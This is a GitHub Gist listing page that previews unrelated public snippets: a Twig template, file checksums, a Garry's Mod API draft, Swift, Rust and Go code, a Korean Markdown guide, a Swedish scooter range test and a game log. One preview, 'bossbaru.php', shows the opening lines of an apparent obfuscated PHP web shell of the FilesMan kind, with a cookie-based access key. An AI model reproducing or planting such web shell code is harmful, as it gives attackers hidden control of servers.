Skip to content

Instantly share code, notes, and snippets.

View field--bare.twig.html
{% extends 'field.html.twig' %}
{% block field %}
{{ item.content }}
{% endblock %}
stebulus / sha256sums
Created May 19, 2019
checksums for egg-linux at commit e109989cb9892bde5cda83ee40cf03dde6081b51, on Ubuntu 14.04
View sha256sums
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./.built
c6a95942ee02740d1ee8d54334d36ace594bc1fcd290cbab9ea4b7906dc81c69 ./bin/bash
2e076eadf014ac8d8f683dc9b958aab5cb08f10986863c2a3375883f17da3f0b ./bin/mount
c14f823f05b91487e7a6f890b3491453f13256b03ee7feda5182d8c8c743266b ./bin/umount
af2aa340acc8ed5bc7df17487a8176921d50eec88be9e87d0b1409c2156ca2bb ./boot/
fafb409cc503345b05de3e4119c986df8c5756bc24d9b6f46327e11def4a1888 ./boot/grub/grub.cfg
dde989fbdd89e1a4cb97cd1d8f55a843492a2ef8b13ba869697a88fe627d665b ./boot/vmlinuz
3b24a975dcde688434258566813a83ce256a4c73efd7a8a9c3998327b0b4de68 ./etc/rpc
c4115a6976e2f1d9a99b323332e1877be2ab6d578281f91afa223062a9615f42 ./lib/modules/4.10.8/kernel/drivers/thermal/x86_pkg_temp_thermal.ko
3ee764781385f363306dbfc6d519742564d840a3d3e08dcc49f81b477a55d5f4 ./lib/modules/4.10.8/kernel/fs/efivarfs/efivarfs.ko
obik87 / bossbaru.php
Created May 19, 2019
wsa pingine boss baru
View bossbaru.php
$▛ = ""; //admin
$▘ = true;
$▜ = 'UTF-8';
$▚ = 'FilesMan';
$▙ = md5($_SERVER['HTTP_USER_AGENT']);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
prototype(md5($_SERVER['HTTP_HOST'])."key", $▙);
View API

API draft (rev. 1)

See proposal here.
tldr: This document is unofficial, until officially confirmed to be accepted, and finally revised by Garry's Mod devs!

Status: Waiting for the response from Garry's Mod development team.

This is a preview API draft of new functionality for HTTP requests in Garry's Mod Lua.
Everything presented in this document is a subject to change without any notice.
There is a possibility of being unaccepted and/or altered by devs. For example:

  • Only partial functions may be implemented.
literalpie / SceneKit-simple-pan-gesture-handler.swift
Created May 19, 2019
shows a simple pan gesture handler for use in part 2 of a literalpie medium post
View SceneKit-simple-pan-gesture-handler.swift
@objc func handlePan(panGesture: UIPanGestureRecognizer) {
guard let view = view as? SCNView else { return }
switch panGesture.state {
case .began:
let location = panGesture.location(in: self.view)
guard let hitNodeResult = view.hitTest(location, options: nil).first else { return }
panStartZ = CGFloat(view.projectPoint(lastPanLocation!).z)
draggingNode = hitNodeResult.node
case .changed:
let location = panGesture.location(in: view)
JoeyValentine /
Created May 19, 2019 — forked from ninanung/
사실은 내가 보기위한 마크다운 문법설명서 - 1. 제목과 호라이즌

너와 나를 위한 마크다운 문법정리!

마크다운 문법, 정말 간단하지만 구글링을 해도 뭔가 좀 애매합니다. 설명이 다르거나 부족하거나 저 같은 초보자가 보고 배우기 애매한 경우가 좀 있었습니다. 그래서 저 스스로의 마크다운 문법 공부를 위한 실습 겸 가이드를 위해 문법정리를 작성해 보고자 합니다. 참고로 이 정리는 깃허브에서 사용하는 것을 전제로 합니다.

1.제목과 호라이즌 - html의 h1테그와 hr테그


먼저 제목입니다. 제목을 쓰는 방법은 두 가지로 나눌 수 있습니다.

  • 제목과 함께 hr, 즉 호라이즌을 명시적으로 같이 쓴다.
rust-play /
Created May 19, 2019
Code shared from the Rust Playground
pub struct Thing {
// many big fields here
// I can't change this definition
pub struct Wrapper {
pub thing: Thing, // I can't change this to a reference, it's used elsewhere as a container
// other fields
salapao2136 / main.go
Created May 19, 2019
scope of debug handles
View main.go
package main
import (
manisvart /
Created May 19, 2019
Räckviddsjämförelse mellan scootrar på svenska marknaden (2019-05-19)


Jag vill kunna åka lååångt… Acceleration och toppfart är inte lika intressant för mig...

Räckvidden är en direkt funktion av batterikapaciteten och vikten som ska förflyttas. För att få någon slags värde att räkna på gjorde jag följade test:

Jag hyrde en Voi (en ES4) som hade 91% kapacitet och den hade 27% kapacitet kvar efter 14 km. Vägen var Stockholms Central - Kungsholmsstrand - Pampas Marina - Huvusta Allé - Solna Strand T-bana och tillbaka samma väg. Enligt Google Maps så rör man sig mellan 8 och 33 meter över havet.

Belastningen på scootern var scootern själv (14 kg), jag med en 10 kg ryggsäck (115 kg), så c:a 129 kg som skulle förflyttas...

HugsLibRecordKeeper / output_log.txt
Created May 19, 2019
Rimworld output log published using HugsLib
View output_log.txt
Log uploaded on Sunday, May 19, 2019, 12:25:29 PM
Loaded mods:
Core: (no assemblies)
Startup impact: 0Harmony(, StartupImpact(1.1.7027.12912)
RuntimeGC: RuntimeGC(
HugsLib[ov:6.1.3]: 0Harmony(, HugsLib(av:,fv:6.1.3)
Desynchronized: Tales and News (v1.5.0): $HugsLibChecker(, Desynchronized(
JecsTools: 0Harmony(, 0JecsTools(, AbilityUser(, AbilityUserAI(, CompActivatableEffect(, CompAnimated(, CompBalloon(, CompDeflector(, CompDelayedSpawner(, CompExtraSounds(, CompInstalledPart(, CompLumbering(, CompOverlays(, CompOversizedWeapon(, CompSlotLoadable(, CompToggleDef(, CompVehicle(, PawnShields(, ThinkNodes(
A Dog Said... Animal Prosthetics: (no assemblies)
RBSE Hardcore Edition: ScarRemoving(
You can’t perform that action at this time.